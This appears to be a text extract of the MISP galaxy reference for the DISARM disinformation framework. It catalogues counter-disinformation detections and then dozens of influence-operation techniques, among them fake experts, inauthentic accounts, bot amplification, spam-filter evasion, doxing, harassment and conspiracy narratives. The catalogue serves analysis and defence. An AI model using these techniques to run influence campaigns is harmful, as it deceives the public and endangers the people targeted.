"Grey zone" is second level of content producers and circulators, composed of outlets with uncertain attribution. This category covers conspiracy websites, far-right or far-left websites, news aggregators, and data dump websites

The tag is: misp-galaxy:disarm-detections="target/name/flag "grey zone" website content"

**Table 1245. Table References**
Match Punitive Tools with Third-Party Inducements

Bring private sector and civil society into accord on U.S. interests

The tag is: `misp-galaxy:disarm-detections="Match Punitive Tools with Third-Party Inducements"`

Table 1246. Table References

Partner to develop analytic methods & tools

This might include working with relevant technology firms to ensure that contracted analytic support is available. Contracted support is reportedly valuable because technology to monitor social media data is continually evolving, and such firms can provide the expertise to help identify and analyse trends, and they can more effectively stay abreast of the changing systems and develop new models as they are required

The tag is: `misp-galaxy:disarm-detections="Partner to develop analytic methods & tools"`

Table 1247. Table References

daylight

Warn social media companies about an ongoing campaign (e.g. antivax sites). Anyone with datasets or data summaries can help with this

The tag is: `misp-galaxy:disarm-detections="daylight"`

Table 1248. Table References
S4d detection and re-allocation approaches

S4D is a way to separate out different speakers in text, audio.

The tag is: misp-galaxy:disarm-detections="S4d detection and re-allocation approaches"

Table 1249. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Registries alert when large batches of newsy URLs get registered together

The tag is: misp-galaxy:disarm-detections="Registries alert when large batches of newsy URLs get registered together"

Table 1250. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fact checking

Process suspicious artefacts, narratives, and incidents

The tag is: misp-galaxy:disarm-detections="Fact checking"

Table 1251. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Techniques

DISARM is a framework designed for describing and understanding disinformation incidents..

Techniques is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

DISARM Project
Facilitate State Propaganda

Organise citizens around pro-state messaging. Coordinate paid or volunteer groups to push state propaganda.

The tag is: misp-galaxy:disarm-techniques="Facilitate State Propaganda"

Table 1252. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Leverage Existing Narratives

Use or adapt existing narrative themes, where narratives are the baseline stories of a target audience. Narratives form the bedrock of our worldviews. New information is understood through a process firmly grounded in this bedrock. If new information is not consistent with the prevailing narratives of an audience, it will be ignored. Effective campaigns will frame their misinformation in the context of these narratives. Highly effective campaigns will make extensive use of audience-appropriate archetypes and meta-narratives throughout their content creation and amplification practices.

The tag is: misp-galaxy:disarm-techniques="Leverage Existing Narratives"

Table 1253. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Develop Competing Narratives

Advance competing narratives connected to same issue ie: on one hand deny incident while at same time expresses dismiss. Suppressing or discouraging narratives already spreading requires an alternative. The most simple set of narrative techniques in response would be the construction and promotion of contradictory alternatives centred on denial, deflection, dismissal, counter-charges, excessive standards of proof, bias in prohibition or enforcement, and so on. These competing narratives allow loyalists cover, but are less compelling to opponents and fence-sitters than campaigns built around existing narratives or highly explanatory master narratives. Competing narratives, as such, are especially useful in the "firehose of misinformation" approach.

The tag is: misp-galaxy:disarm-techniques="Develop Competing Narratives"

Table 1254. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Create Inauthentic Social Media Pages and Groups

Create key social engineering assets needed to amplify content, manipulate algorithms, fool public and/or specific incident/campaign targets. Computational propaganda depends substantially on false perceptions of credibility and acceptance. By creating fake users and groups with a variety of interests and commitments, attackers can ensure that their messages both come from trusted sources and appear more widely adopted than they actually are.

The tag is: *misp-galaxy:disarm-techniques=* "Create Inauthentic Social Media Pages and Groups"

Table 1255. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Create Fake Experts

Stories planted or promoted in computational propaganda operations often make use of experts fabricated from whole cloth, sometimes specifically for the story itself.

The tag is: *misp-galaxy:disarm-techniques=* "Create Fake Experts"

Table 1256. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Utilise Academic/Pseudoscientific Justifications

Utilise Academic/Pseudoscientific Justifications

The tag is: *misp-galaxy:disarm-techniques=* "Utilise Academic/Pseudoscientific Justifications"

Table 1257. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Cultivate Ignorant Agents

Cultivate propagandists for a cause, the goals of which are not fully comprehended, and who are used cynically by the leaders of the cause. Independent actors use social media and specialised web
sites to strategically reinforce and spread messages compatible with their own. Their networks are infiltrated and used by state media disinformation organisations to amplify the state’s own disinformation strategies against target populations. Many are traffickers in conspiracy theories or hoaxes, unified by a suspicion of Western governments and mainstream media. Their narratives, which appeal to leftists hostile to globalism and military intervention and nationalists against immigration, are frequently infiltrated and shaped by state-controlled trolls and altered news items from agencies such as RT and Sputnik. Also know as “useful idiots” or "unwitting agents”.

The tag is: *misp-galaxy:disarm-techniques="Cultivate Ignorant Agents"

### Table 1258. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Compromise Legitimate Accounts**

Hack or take over legitimate accounts to distribute misinformation or damaging content.

The tag is: *misp-galaxy:disarm-techniques="Compromise Legitimate Accounts"

### Table 1259. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Create Inauthentic Websites**

Create media assets to support inauthentic organisations (e.g. think tank), people (e.g. experts) and/or serve as sites to distribute malware/launch phishing operations.

The tag is: *misp-galaxy:disarm-techniques="Create Inauthentic Websites"

### Table 1260. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Prepare Fundraising Campaigns**

Fundraising campaigns refer to an influence operation’s systematic effort to seek financial support for a charity, cause, or other enterprise using online activities that further promote operation information pathways while raising a profit. Many influence operations have engaged in crowdfunding services on platforms including Tipee, Patreon, and GoFundMe. An operation may use its previously prepared fundraising campaigns (see: Develop Information Pathways) to promote
operation messaging while raising money to support its activities.

The tag is: misp-galaxy:disarm-techniques="Prepare Fundraising Campaigns"

Table 1261. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Raise Funds from Malign Actors**

Raising funds from malign actors may include contributions from foreign agents, cutouts or proxies, shell companies, dark money groups, etc.

The tag is: misp-galaxy:disarm-techniques="Raise Funds from Malign Actors"

Table 1262. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Raise Funds from Ignorant Agents**

Raising funds from ignorant agents may include scams, donations intended for one stated purpose but then used for another, etc.

The tag is: misp-galaxy:disarm-techniques="Raise Funds from Ignorant Agents"

Table 1263. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Create Hashtags and Search Artefacts**

Create one or more hashtags and/or hashtag groups. Many incident-based campaigns will create hashtags to promote their fabricated event. Creating a hashtag for an incident can have two important effects: 1. Create a perception of reality around an event. Certainly only "real" events would be discussed in a hashtag. After all, the event has a name!, and 2. Publicise the story more widely through trending lists and search behaviour. Asset needed to direct/control/manage "conversation" connected to launching new incident/campaign with new hashtag for applicable social media sites).

The tag is: misp-galaxy:disarm-techniques="Create Hashtags and Search Artefacts"

Table 1264. Table References
### Create Clickbait

Create attention grabbing headlines (outrage, doubt, humour) required to drive traffic & engagement. This is a key asset.

The tag is: *misp-galaxy:disarm-techniques="Create Clickbait"*

#### Table 1265. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### Conduct Fundraising

Fundraising campaigns refer to an influence operation's systematic effort to seek financial support for a charity, cause, or other enterprise using online activities that further promote operation information pathways while raising a profit. Many influence operations have engaged in crowdfunding services on platforms including Tipee, Patreon, and GoFundMe. An operation may use its previously prepared fundraising campaigns to promote operation messaging while raising money to support its activities.

The tag is: *misp-galaxy:disarm-techniques="Conduct Fundraising"*

#### Table 1266. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### Conduct Crowdfunding Campaigns

An influence operation may Conduct Crowdfunding Campaigns on platforms such as GoFundMe, GiveSendGo, Tipeee, Patreon, etc.

The tag is: *misp-galaxy:disarm-techniques="Conduct Crowdfunding Campaigns"*

#### Table 1267. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0017.001.md">https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0017.001.md</a></td>
</tr>
</tbody>
</table>
Purchase Targeted Advertisements

Create or fund advertisements targeted at specific populations

The tag is: `misp-galaxy:disarm-techniques="Purchase Targeted Advertisements"`

Table 1268. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Generate Information Pollution

Flood social channels; drive traffic/engagement to all assets; create aura/sense/perception of pervasiveness/consensus (for or against or both simultaneously) of an issue or topic. "Nothing is true, but everything is possible." Akin to astroturfing campaign.

The tag is: `misp-galaxy:disarm-techniques="Generate Information Pollution"`

Table 1269. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Create Fake Research

Create fake academic research. Example: fake social science research is often aimed at hot-button social issues such as gender, race and sexuality. Fake science research can target Climate Science debate or pseudoscience like anti-vaxx

The tag is: `misp-galaxy:disarm-techniques="Create Fake Research"`

Table 1270. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0019.001.md">https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0019.001.md</a></td>
</tr>
</tbody>
</table>

Hijack Hashtags

Hashtag hijacking occurs when users “[use] a trending hashtag to promote topics that are substantially different from its recent context” (VanDam and Tan, 2016) or “to promote one’s own social media agenda” (Darius and Stephany, 2019).

The tag is: `misp-galaxy:disarm-techniques="Hijack Hashtags"`
Trial Content

Iteratively test incident performance (messages, content etc), e.g. A/B test headline/content enagagement metrics; website and/or funding campaign conversion rates.

The tag is: `misp-galaxy:disarm-techniques="Trial Content"`

Leverage Conspiracy Theory Narratives

"Conspiracy narratives" appeal to the human desire for explanatory order, by invoking the participation of powerful (often sinister) actors in pursuit of their own political goals. These narratives are especially appealing when an audience is low-information, marginalised or otherwise inclined to reject the prevailing explanation. Conspiracy narratives are an important component of the "firehose of falsehoods" model.

The tag is: `misp-galaxy:disarm-techniques="Leverage Conspiracy Theory Narratives"`

Amplify Existing Conspiracy Theory Narratives

An influence operation may amplify an existing conspiracy theory narrative that aligns with its incident or campaign goals. By amplifying existing conspiracy theory narratives, operators can leverage the power of the existing communities that support and propagate those theories without needing to expend resources creating new narratives or building momentum and buy in around new narratives.

The tag is: `misp-galaxy:disarm-techniques="Amplify Existing Conspiracy Theory Narratives"`
Develop Original Conspiracy Theory Narratives

While this requires more resources than amplifying existing conspiracy theory narratives, an influence operation may develop original conspiracy theory narratives in order to achieve greater control and alignment over the narrative and their campaign goals. Prominent examples include the USSR’s Operation INFEKTION disinformation campaign run by the KGB in the 1980s to plant the idea that the United States had invented HIV/AIDS as part of a biological weapons research project at Fort Detrick, Maryland. More recently, Fort Detrick featured prominently in a new conspiracy theory narratives around the origins of the COVID-19 outbreak and pandemic.

The tag is: `misp-galaxy:disarm-techniques="Develop Original Conspiracy Theory Narratives"`

Distort Facts

Change, twist, or exaggerate existing facts to construct a narrative that differs from reality. Examples: images and ideas can be distorted by being placed in an improper content

The tag is: `misp-galaxy:disarm-techniques="Distort Facts"`

Reframe Context

Reframing context refers to removing an event from its surrounding context to distort its intended meaning. Rather than deny that an event occurred, reframing context frames an event in a manner that may lead the target audience to draw a different conclusion about its intentions.

The tag is: `misp-galaxy:disarm-techniques="Reframe Context"`
Edit Open-Source Content

An influence operation may edit open-source content, such as collaborative blogs or encyclopaedias, to promote its narratives on outlets with existing credibility and audiences. Editing open-source content may allow an operation to post content on platforms without dedicating resources to the creation and maintenance of its own assets.

The tag is: `misp-galaxy:disarm-techniques="Edit Open-Source Content"`

<table>
<thead>
<tr>
<th>Table 1278. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Online Polls

Create fake online polls, or manipulate existing online polls. Data gathering tactic to target those who engage, and potentially their networks of friends/followers as well.

The tag is: `misp-galaxy:disarm-techniques="Online Polls"`

<table>
<thead>
<tr>
<th>Table 1279. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Bait Legitimate Influencers

Credibility in a social media environment is often a function of the size of a user's network. "Influencers" are so-called because of their reach, typically understood as: 1) the size of their network (i.e. the number of followers, perhaps weighted by their own influence); and 2) The rate at which their comments are re-circulated (these two metrics are related). Add traditional media players at all levels of credibility and professionalism to this, and the number of potential influential carriers available for unwitting amplification becomes substantial. By targeting high-influence people and organisations in all types of media with narratives and content engineered to appeal their emotional or ideological drivers, influence campaigns are able to add perceived credibility to their messaging via saturation and adoption by trusted agents such as celebrities, journalists and local leaders.

The tag is: `misp-galaxy:disarm-techniques="Bait Legitimate Influencers"`

<table>
<thead>
<tr>
<th>Table 1280. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>
Demand Insurmountable Proof

Campaigns often leverage tactical and informational asymmetries on the threat surface, as seen in the Distort and Deny strategies, and the "firehose of misinformation". Specifically, conspiracy theorists can be repeatedly wrong, but advocates of the truth need to be perfect. By constantly escalating demands for proof, propagandists can effectively leverage this asymmetry while also priming its future use, often with an even greater asymmetric advantage. The conspiracist is offered freer rein for a broader range of "questions" while the truth teller is burdened with higher and higher standards of proof.

The tag is: *misp-galaxy:disarm-techniques="Demand Insurmountable Proof"*

<table>
<thead>
<tr>
<th>Table 1281. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
</tbody>
</table>

Seed Kernel of Truth

Wrap lies or altered context/facts around truths. Influence campaigns pursue a variety of objectives with respect to target audiences, prominent among them: 1. undermine a narrative commonly referenced in the target audience; or 2. promote a narrative less common in the target audience, but preferred by the attacker. In both cases, the attacker is presented with a heavy lift. They must change the relative importance of various narratives in the interpretation of events, despite contrary tendencies. When messaging makes use of factual reporting to promote these adjustments in the narrative space, they are less likely to be dismissed out of hand; when messaging can juxtapose a (factual) truth about current affairs with the (abstract) truth explicated in these narratives, propagandists can undermine or promote them selectively. Context matters.

The tag is: *misp-galaxy:disarm-techniques="Seed Kernel of Truth"*

<table>
<thead>
<tr>
<th>Table 1282. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
</tbody>
</table>

Chat Apps

Direct messaging via chat app is an increasing method of delivery. These messages are often automated and new delivery and storage methods make them anonymous, viral, and ephemeral. This is a difficult space to monitor, but also a difficult space to build acclaim or notoriety.

The tag is: *misp-galaxy:disarm-techniques="Chat Apps"*

<table>
<thead>
<tr>
<th>Table 1283. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td>470</td>
</tr>
</tbody>
</table>

470
Use Encrypted Chat Apps

Examples include Signal, WhatsApp, Discord, Wire, etc.

The tag is: `misp-galaxy:disarm-techniques="Use Encrypted Chat Apps"`

Table 1284. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Use Unencrypted Chats Apps

Examples include SMS, etc.

The tag is: `misp-galaxy:disarm-techniques="Use Unencrypted Chats Apps"`

Table 1285. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Seed Distortions

Try a wide variety of messages in the early hours surrounding an incident or event, to give a misleading account or impression.

The tag is: `misp-galaxy:disarm-techniques="Seed Distortions"`

Table 1286. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Use Fake Experts

Use the fake experts that were set up during Establish Legitimacy. Pseudo-experts are disposable assets that often appear once and then disappear. Give "credility" to misinformation. Take advantage of credential bias

The tag is: `misp-galaxy:disarm-techniques="Use Fake Experts"`
Use Search Engine Optimisation

Manipulate content engagement metrics (ie: Reddit & Twitter) to influence/impact news search results (e.g. Google), also elevates RT & Sputnik headline into Google news alert emails. aka "Black-hat SEO"

The tag is: `misp-galaxy:disarm-techniques="Use Search Engine Optimisation"`

Censor Social Media as a Political Force

Use political influence or the power of state to stop critical social media comments. Government requested/driven content take downs (see Google Transparency reports).

The tag is: `misp-galaxy:disarm-techniques="Censor Social Media as a Political Force"`

Harass

Threatening or harassing believers of opposing narratives refers to the use of intimidation techniques, including cyberbullying and doxing, to discourage opponents from voicing their dissent. An influence operation may threaten or harass believers of the opposing narratives to deter individuals from posting or proliferating conflicting content.

The tag is: `misp-galaxy:disarm-techniques="Harass"`
Boycott/"Cancel" Opponents

Cancel culture refers to the phenomenon in which individuals collectively refrain from supporting an individual, organisation, business, or other entity, usually following a real or falsified controversy. An influence operation may exploit cancel culture by emphasising an adversary's problematic or disputed behaviour and presenting its own content as an alternative.

The tag is: *misp-galaxy:disarm-techniques*="Boycott/"Cancel" Opponents"

Table 1291. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0048.001.md">https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0048.001.md</a></td>
</tr>
</tbody>
</table>

Harass People Based on Identities

Examples include social identities like gender, sexuality, race, ethnicity, religion, ability, nationality, etc. as well as roles and occupations like journalist or activist.

The tag is: *misp-galaxy:disarm-techniques*="Harass People Based on Identities"

Table 1292. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Threaten to Dox

Doxing refers to online harassment in which individuals publicly release private information about another individual, including names, addresses, employment information, pictures, family members, and other sensitive information. An influence operation may dox its opposition to encourage individuals aligned with operation narratives to harass the doxed individuals themselves or otherwise discourage the doxed individuals from posting or proliferating conflicting content.

The tag is: *misp-galaxy:disarm-techniques*="Threaten to Dox"

Table 1293. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0048.003.md">https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0048.003.md</a></td>
</tr>
</tbody>
</table>

Dox

Doxing refers to online harassment in which individuals publicly release private information about
another individual, including names, addresses, employment information, pictures, family
members, and other sensitive information. An influence operation may dox its opposition to
encourage individuals aligned with operation narratives to harass the doxed individuals
themselves or otherwise discourage the doxed individuals from posting or proliferating conflicting
content.

The tag is: misp-galaxy:disarm-techniques="Dox"

Table 1294. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0048.004.md">https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0048.004.md</a></td>
</tr>
</tbody>
</table>

**Flooding the Information Space**

Flooding and/or mobbing social media channels feeds and/or hashtag with excessive volume of
content to control/shape online conversations and/or drown out opposing points of view. Bots
and/or patriotic trolls are effective tools to achieve this effect.

The tag is: misp-galaxy:disarm-techniques="Flooding the Information Space"

Table 1295. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Trolls Amplify and Manipulate**

Use trolls to amplify narratives and/or manipulate narratives. Fake profiles/sockpuppets operating
to support individuals/narratives from the entire political spectrum (left/right binary). Operating
with increased emphasis on promoting local content and promoting real Twitter users generating
their own, often divisive political content, as it's easier to amplify existing content than create
new/original content. Trolls operate wherever there's a socially divisive issue (issues that can/are
be politicized).

The tag is: misp-galaxy:disarm-techniques="Trolls Amplify and Manipulate"

Table 1296. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Hijack Existing Hashtag**

Take over an existing hashtag to drive exposure.
Bots Amplify via Automated Forwarding and Reposting

Automated forwarding and reposting refer to the proliferation of operation content using automated means, such as artificial intelligence or social media bots. An influence operation may use automated activity to increase content exposure without dedicating the resources, including personnel and time, traditionally required to forward and repost content. Use bots to amplify narratives above algorithm thresholds. Bots are automated/programmed profiles designed to amplify content (i.e., automatically retweet or like) and give appearance it's more "popular" than it is. They can operate as a network, to function in a coordinated/orchestrated manner. In some cases (more so now) they are an inexpensive/disposable assets used for minimal deployment as bot detection tools improve and platforms are more responsive.

Utilise Spamoflauge

Spamoflauge refers to the practice of disguising spam messages as legitimate. Spam refers to the use of electronic messaging systems to send out unrequested or unwanted messages in bulk. Simple methods of spamoflauge include replacing letters with numbers to fool keyword-based email spam filters, for example, "you've 50n our jackp0t!". Spamoflauge may extend to more complex techniques such as modifying the grammar or word choice of the language, casting messages as images which spam detectors cannot automatically read, or encapsulating messages in password protected attachments, such as .pdf or .zip files. Influence operations may use spamoflauge to avoid spam filtering systems and increase the likelihood of the target audience receiving operation messaging.
**Conduct Swarming**

Swarming refers to the coordinated use of accounts to overwhelm the information space with operation content. Unlike information flooding, swarming centres exclusively around a specific event or actor rather than a general narrative. Swarming relies on “horizontal communication” between information assets rather than a top-down, vertical command-and-control approach.

The tag is: *misp-galaxy:disarm-techniques*="Conduct Swarming"

**Conduct Keyword Squatting**

Keyword squatting refers to the creation of online content, such as websites, articles, or social media accounts, around a specific search engine-optimized term to overwhelm the search results of that term. An influence may keyword squat to increase content exposure to target audience members who query the exploited term in a search engine and manipulate the narrative around the term.

The tag is: *misp-galaxy:disarm-techniques*="Conduct Keyword Squatting"

**Inauthentic Sites Amplify News and Narratives**

Inauthentic sites circulate cross-post stories and amplify narratives. Often these sites have no masthead, bylines or attribution.

The tag is: *misp-galaxy:disarm-techniques*="Inauthentic Sites Amplify News and Narratives"

**Organise Events**

Coordinate and promote real-world events across media platforms, e.g. rallies, protests, gatherings in support of incident narratives.
Pay for Physical Action

Paying for physical action occurs when an influence operation pays individuals to act in the physical realm. An influence operation may pay for physical action to create specific situations and frame them in a way that supports operation narratives, for example, paying a group of people to burn a car to later post an image of the burning car and frame it as an act of protest.

Conduct Symbolic Action

Symbolic action refers to activities specifically intended to advance an operation’s narrative by signalling something to the audience, for example, a military parade supporting a state’s narrative of military superiority. An influence operation may use symbolic action to create falsified evidence supporting operation narratives in the physical information space.

Play the Long Game

Play the long game refers to two phenomena: 1. To plan messaging and allow it to grow organically without conducting your own amplification. This is methodical and slow and requires years for the message to take hold 2. To develop a series of seemingly disconnected messaging narratives that eventually combine into a new narrative.
Continue to Amplify

continue narrative or message amplification after the main incident work has finished

The tag is: `misp-galaxy:disarm-techniques="Continue to Amplify"`

<table>
<thead>
<tr>
<th>Table 1307. Table References</th>
</tr>
</thead>
</table>

Sell Merchandise

Sell merchandise refers to getting the message or narrative into physical space in the offline world while making money

The tag is: `misp-galaxy:disarm-techniques="Sell Merchandise"`

<table>
<thead>
<tr>
<th>Table 1308. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0061.md">Links</a></td>
</tr>
</tbody>
</table>

Prepare Physical Broadcast Capabilities

Create or coopt broadcast capabilities (e.g. TV, radio etc).

The tag is: `misp-galaxy:disarm-techniques="Prepare Physical Broadcast Capabilities"

<table>
<thead>
<tr>
<th>Table 1309. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0065.md">Links</a></td>
</tr>
</tbody>
</table>

Degrade Adversary

Plan to degrade an adversary's image or ability to act. This could include preparation and use of harmful information about the adversary's actions or reputation.

The tag is: `misp-galaxy:disarm-techniques="Degrade Adversary"`
Respond to Breaking News Event or Active Crisis

Media attention on a story or event is heightened during a breaking news event, where unclear facts and incomplete information increase speculation, rumours, and conspiracy theories, which are all vulnerable to manipulation.

The tag is: `misp-galaxy:disarm-techniques="Respond to Breaking News Event or Active Crisis"`

Segment Audiences

Create audience segmentations by features of interest to the influence campaign, including political affiliation, geographic location, income, demographics, and psychographics.

The tag is: `misp-galaxy:disarm-techniques="Segment Audiences"

Geographic Segmentation

An influence operation may target populations in a specific geographic location, such as a region, state, or city. An influence operation may use geographic segmentation to Create Localised Content (see: Establish Legitimacy).

The tag is: `misp-galaxy:disarm-techniques="Geographic Segmentation"`
Demographic Segmentation

An influence operation may target populations based on demographic segmentation, including age, gender, and income. Demographic segmentation may be useful for influence operations aiming to change state policies that affect a specific population sector. For example, an influence operation attempting to influence Medicare funding in the United States would likely target U.S. voters over 65 years of age.

The tag is: `misp-galaxy:disarm-techniques="Demographic Segmentation"`

Table 1314. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Economic Segmentation

An influence operation may target populations based on their income bracket, wealth, or other financial or economic division.

The tag is: `misp-galaxy:disarm-techniques="Economic Segmentation"`

Table 1315. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Psychographic Segmentation

An influence operation may target populations based on psychographic segmentation, which uses audience values and decision-making processes. An operation may individually gather psychographic data with its own surveys or collection tools or externally purchase data from social media companies or online surveys, such as personality quizzes.

The tag is: `misp-galaxy:disarm-techniques="Psychographic Segmentation"`

Table 1316. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Political Segmentation

An influence operation may target populations based on their political affiliations, especially when aiming to manipulate voting or change policy.
Determine Target Audiences

Determining the target audiences (segments of the population) who will receive campaign narratives and artefacts intended to achieve the strategic ends.

Determine Strategic Ends

These are the long-term end-states the campaign aims to bring about. They typically involve an advantageous position vis-a-vis competitors in terms of power or influence. The strategic goal may be to improve or simply to hold one’s position. Competition occurs in the public sphere in the domains of war, diplomacy, politics, economics, and ideology, and can play out between armed groups, nation-states, political parties, corporations, interest groups, or individuals.

Geopolitical Advantage

Favourable position on the international stage in terms of great power politics or regional rivalry. Geopolitics plays out in the realms of foreign policy, national security, diplomacy, and intelligence. It involves nation-state governments, heads of state, foreign ministers, intergovernmental organisations, and regional security alliances.
Domestic Political Advantage

Favourable position vis-à-vis national or sub-national political opponents such as political parties, interest groups, politicians, candidates.

The tag is: `misp-galaxy:disarm-techniques="Domestic Political Advantage"`

**Table 1321. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Economic Advantage

Favourable position domestically or internationally in the realms of commerce, trade, finance, industry. Economics involves nation-states, corporations, banks, trade blocs, industry associations, cartels.

The tag is: `misp-galaxy:disarm-techniques="Economic Advantage"`

**Table 1322. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Ideological Advantage

Favourable position domestically or internationally in the market for ideas, beliefs, and world views. Competition plays out among faith systems, political systems, and value systems. It can involve sub-national, national or supra-national movements.

The tag is: `misp-galaxy:disarm-techniques="Ideological Advantage"`

**Table 1323. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Dismiss

Push back against criticism by dismissing your critics. This might be arguing that the critics use a different standard for you than with other actors or themselves; or arguing that their criticism is
Biassed.

The tag is: misp-galaxy:disarm-techniques="Dismiss"

Table 1324. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Discredit Credible Sources**

Plan to delegitimize the media landscape and degrade public trust in reporting, by discrediting credible sources. This makes it easier to promote influence operation content.

The tag is: misp-galaxy:disarm-techniques="Discredit Credible Sources"

Table 1325. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Distort**

Twist the narrative. Take information, or artefacts like images, and change the framing around them.

The tag is: misp-galaxy:disarm-techniques="Distort"

Table 1326. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Distract**

Shift attention to a different narrative or actor, for instance by accusing critics of the same activity that they’ve accused you of (e.g. police brutality).

The tag is: misp-galaxy:disarm-techniques="Distract"

Table 1327. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Dismay

Threaten the critic or narrator of events. For instance, threaten journalists or news outlets reporting on a story.

The tag is: misp-galaxy:disarm-techniques="Dismay"

Table 1328. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Divide

Create conflict between subgroups, to widen divisions in a community

The tag is: misp-galaxy:disarm-techniques="Divide"

Table 1329. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Map Target Audience Information Environment

Mapping the target audience information environment analyses the information space itself, including social media analytics, web traffic, and media surveys. Mapping the information environment may help the influence operation determine the most realistic and popular information channels to reach its target audience. Mapping the target audience information environment aids influence operations in determining the most vulnerable areas of the information space to target with messaging.

The tag is: misp-galaxy:disarm-techniques="Map Target Audience Information Environment"

Table 1330. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Monitor Social Media Analytics

An influence operation may use social media analytics to determine which factors will increase the operation content's exposure to its target audience on social media platforms, including views, interactions, and sentiment relating to topics and content types. The social media platform itself or a third-party tool may collect the metrics.
Evaluate Media Surveys

An influence operation may evaluate its own or third-party media surveys to determine what type of content appeals to its target audience. Media surveys may provide insight into an audience’s political views, social class, general interests, or other indicators used to tailor operation messaging to its target audience.

Identify Trending Topics/Hashtags

An influence operation may identify trending hashtags on social media platforms for later use in boosting operation content. A hashtag refers to a word or phrase preceded by the hash symbol (#) on social media used to identify messages and posts relating to a specific topic. All public posts that use the same hashtag are aggregated onto a centralised page dedicated to the word or phrase and sorted either chronologically or by popularity.

Conduct Web Traffic Analysis

An influence operation may conduct web traffic analysis to determine which search engines, keywords, websites, and advertisements gain the most traction with its target audience.
Assess Degree/Type of Media Access

